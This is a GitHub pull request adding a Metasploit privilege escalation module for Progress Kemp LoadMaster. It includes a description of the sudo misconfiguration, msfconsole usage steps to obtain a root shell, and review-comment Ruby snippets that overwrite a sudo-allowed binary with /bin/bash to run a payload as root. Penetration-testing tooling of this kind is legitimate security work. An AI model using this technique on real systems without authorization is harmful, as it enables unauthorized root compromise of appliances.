Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Kemp Progress Loadmaster sudo abuse priv esc #19100

Open
wants to merge 3 commits into
base: master
Choose a base branch
from

Conversation

bwatters-r7
Copy link
Contributor

@bwatters-r7 bwatters-r7 commented Apr 17, 2024

This adds a privilege escalation module targeting Progress Kemp LoadMaster versions including 7.2.59.2.22338. The vulnerability lies in the configuration to allow sudo to auto elevate when run with certain files, but grants the non-root user bal write permissions to those file. This exploit simply overwrites one of the files that auto-elevates with /bin/bash and runs a payload within a root-enabled /bin/bash session.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Gain a session on a Progress Kemp Loadmaster target as the bal user
  • Do: use exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024
  • Do: set SESSION <session>
  • Do: set LHOST <your host IP>
  • Do: run
  • You should get a shell as the root user.

Note

The easiest way to test this is in conjunction with #18972, which this was a part of until we realized that when they patched CVE-2024-1212, they did not patch this.

@bwatters-r7 bwatters-r7 added module rn-modules release notes for new or majorly enhanced modules labels Apr 17, 2024
@jheysel-r7 jheysel-r7 self-assigned this Apr 23, 2024
Comment on lines 87 to 97
cmd_exec("sudo /bin/cp #{datastore['TARGET_BINARY']} #{datastore['BINARY_RENAME']}")

vprint_status("Moving /bin/bash to #{datastore['TARGET_BINARY']}")
cmd_exec("sudo /bin/cp /bin/bash #{datastore['TARGET_BINARY']}")

vprint_status('Launching payload')
cmd_exec("sudo #{datastore['TARGET_BINARY']} -c #{datastore['TEMP_PAYLOAD']}")
ensure
if exists?(datastore['BINARY_RENAME'])
cmd_exec("sudo /bin/cp #{datastore['BINARY_RENAME']} #{datastore['TARGET_BINARY']}")
cmd_exec("sudo /bin/rm #{datastore['BINARY_RENAME']}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For a couple of those commands, sudo isn't required I think

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe I fixed that.....

Comment on lines 86 to 93
vprint_status("Moving #{datastore['TARGET_BINARY']} to #{datastore['BINARY_RENAME']}")
cmd_exec("sudo /bin/cp #{datastore['TARGET_BINARY']} #{datastore['BINARY_RENAME']}")

vprint_status("Moving /bin/bash to #{datastore['TARGET_BINARY']}")
cmd_exec("sudo /bin/cp /bin/bash #{datastore['TARGET_BINARY']}")

vprint_status('Launching payload')
cmd_exec("sudo #{datastore['TARGET_BINARY']} -c #{datastore['TEMP_PAYLOAD']}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why use /bin/bash to launch the payload, instead of launching it directly?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You're right. I had played with it earlier, and it did not seem to work. I think my problem was that I was trying to directly copy, and I did not have the privileges to overwrite it directly, and needed to put the file in a temp location, then sudo cp the file over /bin/loadkeys. Switched to that, now, unless we're running a command payload.

cmd_exec("sudo /bin/cp /bin/bash #{datastore['TARGET_BINARY']}")

vprint_status('Launching payload')
cmd_exec("sudo #{datastore['TARGET_BINARY']} -c #{datastore['TEMP_PAYLOAD']}")
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd_exec("sudo #{datastore['TARGET_BINARY']} -c #{datastore['TEMP_PAYLOAD']}")
cmd_exec("sudo '#{datastore['TARGET_BINARY']}' -c #'{datastore['TEMP_PAYLOAD']}'")

@bwatters-r7
Copy link
Contributor Author

All suggestions on #19150 should be addressed here, too....

@jheysel-r7 jheysel-r7 removed their assignment May 2, 2024
execute_command(target_binary, binary_rename, payload.encoded)
end
ensure
cmd_exec("sudo rm '#{target_binary}'")
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd_exec("sudo rm '#{target_binary}'")
cmd_exec("sudo rm '#{target_binary}'") unless target_binary_hash == file_remote_digestmd5(target_binary)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Status: Todo
Development

Successfully merging this pull request may close these issues.

None yet

3 participants